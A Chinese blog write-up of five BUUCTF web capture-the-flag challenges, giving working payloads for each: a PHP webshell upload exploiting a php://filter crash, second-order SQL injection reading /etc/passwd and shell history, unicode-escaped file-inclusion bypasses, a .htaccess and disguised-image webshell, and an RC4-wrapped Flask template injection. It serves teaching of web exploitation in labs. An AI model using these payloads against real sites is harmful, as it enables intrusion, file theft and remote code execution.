BUUCTF-WEB(86-90)

[NPUCTF2020]ezinclude

参考:php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 博客园 (cnblogs.com)

[BUUCTF题解][NPUCTF2020]ezinclude 1 - Article_kelp - 博客园 (cnblogs.com)

查看源码发现

然后抓包发现一个hash值

然后我直接传参数,让pass等于这一个Hash

?pass=fa25e54758d5d5c1927781a6ede89f8a

然后我们访问flflflflag.php,网页访问直接就是404,我们在burp访问一下

然后有一个文件包含,我们输入

?file=php://filter/read=convert.base64-encode/resource=index.php

然后没发现啥,看到了过滤了一些东西,然后我们得想办法getshell

然后查了一下可以利用CVE-2018-14884

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell,因为/tmp/xxx,里面的xxx是随机的,需要我们获取才能利用

发现他其实还有一个dir.php,后面用于我们获取文件名。

以下是师傅的脚本

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行过后,我们再次看一下这个dir.php,发现了多了一个文件

然后蚁剑连接

http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpFVc8V7

连接上去也没有文件。

然后给脚本里面改一下,直接改成phpinfo,然后查看一下文件名,访问

/flflflflag.php?file=/tmp/phpeEMvZk

[网鼎杯 2018]Comment

参考:[BUUCTF题解][网鼎杯 2018]Comment - Article_kelp - 博客园 (cnblogs.com)

[网鼎杯 2018]Comment题解,超详细!_网鼎杯2018 comment-CSDN博客

[网鼎杯 2018]Comment(二次注入,git泄露,git恢复)_[网鼎杯 2018]comment 1-CSDN博客

随便发了一个评论

提示我们登录,密码是少了三位的,我们burp爆破一下,记得改一下位数

然后爆破出来就是zhangwei666

然后登陆进来没啥东西,然后扫描发现了git泄露

然后我们使用githackerWangYihang/GitHacker: 🕷️ A .git folder exploiting tool that is able to restore the entire Git repository, including stash, common branches and common tags. (github.com)

githacker --url http://ffeb1532-df4b-4662-a8eb-fc40623bd36f.node5.buuoj.cn:81/.git --output-folder result

然后我们看看有没有其他版本,我们发现了一个更详细的版本

git log --all

然后我们恢复一下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

然后发现$category的值先经过addslashes函数的转义,然后放入了数据库后,转义字符是已经去掉了,我们再看后面的$category是从数据库中取出来的,所以可以构成二次注入

所以我们可以先在发帖这里的category构造出来语句,然后注释掉后面,因为这里是多行来写,不能用# --+,我们需要用多行注释来注释掉中间的部分

我们现在发帖构造这个

',content=database(),/*

然后在留言写下

*/#

然后发现出现了数据库的名字

然后后面你爆破表,列都没啥用,可以试试

接下来我们试试读取文件,发现成功读取了

',content=(load_file("/etc/passwd")),/*
*/#

然后我们发现www这个用户的目录/home/www,一般网站的用户都是这个,然后我们看一下他的历史命令

',content=(load_file("/home/www/.bash_history")),/*
*/#

可以看到html.zip里面有一个.DS_Store文件,复制到/var/www/html目录下后被删除了,但是在/tmp/下只是删除了压缩包,但是因为有解压的过程,所以解压后生成的文件夹html里还存在.DS_Store文件,读取这个文件。

又因为.DS_Store有很多看不见的字符,我们十六进制编码一下

',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
*/#

然后拿去解码,发现flag_8946e1ff1ee3e40f.php

然后我们访问

',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#

然后解码得到flag

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

然后提交对不了,莫名其妙的

[HarekazeCTF2019]encode_and_encode

打开就是源码

我们应该POST传入一个json格式的数据{"page":xxxxx}

然后我们就是想办法绕过,这里有一个json_decode这个函数,他会将\uxxxunicode字符转义,所以我们可以用它过滤关键词

php://filter/convert.base64-encode/resource=/flag

我们可以unicode编码

\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

然后post

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

然后base64 解码

flag{49cf7586-6920-45ca-9c27-803fdb3bb5b5}

[SUCTF 2019]EasyWeb

参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)

[SUCTF 2019]EasyWeb - 泠涯 - 博客园 (cnblogs.com)

题目打开就是源码

首先是一个无字母RCE的构造,然后取反是被过滤了,那我们就用异或绕过

然后由于限制了长度,我们可以用$_GET[]()这种形式,然后[]被过滤了,我们可以用{}这个代替

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

我们可以看到很多函数都已经被过滤了

然后接下来我们可以调用get_the_flag这个函数,主要是用来上传文件,发现文件后缀不能带有ph以及文件内容不可以有<?出现,然后phpinfo可以看出是Apache服务器,我们是可以上传.htaccess文件的,我们可以采用php://filter伪协议进行base64编码处理,这样就能绕过对<?的检测了,exif_imagetype对问价内容检测可以通过添加文件头幻术来绕过,在前面添加这两条即可

#define width 1337
#define height 1337

.htaccess文件内容

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

poc.jpg文件内容(这里GIF89a多了两位,是因为base64按照四位解码的,所以我们补上了两位)

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然后用脚本上传,都是大佬的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://1e77ef5b-9c14-4b60-aecb-7799ec7dc112.node5.buuoj.cn:81//?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="postedFile"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

upload/tmp_4247b8a5da98794f37ad36c75aaa5631/.htaccess
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/poc.jpg

然后蚁剑链接一下,密码cmd

然后根目录直接找到flag

[CISCN2019 华东南赛区]Double Secret

参考:[CISCN2019 华东南赛区]Double Secret - 怪味巧克力 - 博客园 (cnblogs.com)

打开页面有个这

我们试试访问一下

然后可能就是传参数,参数名字就是secret

?secret=123

多打了一串

?secret=12312312312312321312

有源码泄露,我们看一下

这里其实就是对我们输入参数的一个判断,首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。
然后师傅的代码跑一下

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

传参,得到flag

flag{10d06794-3faa-4001-910f-dc7c21173b75}

热门相关:腹黑大神:捡个萌宠带回家   黄金渔村   情事:妈妈朋友   我会一直喜欢你   兵王无双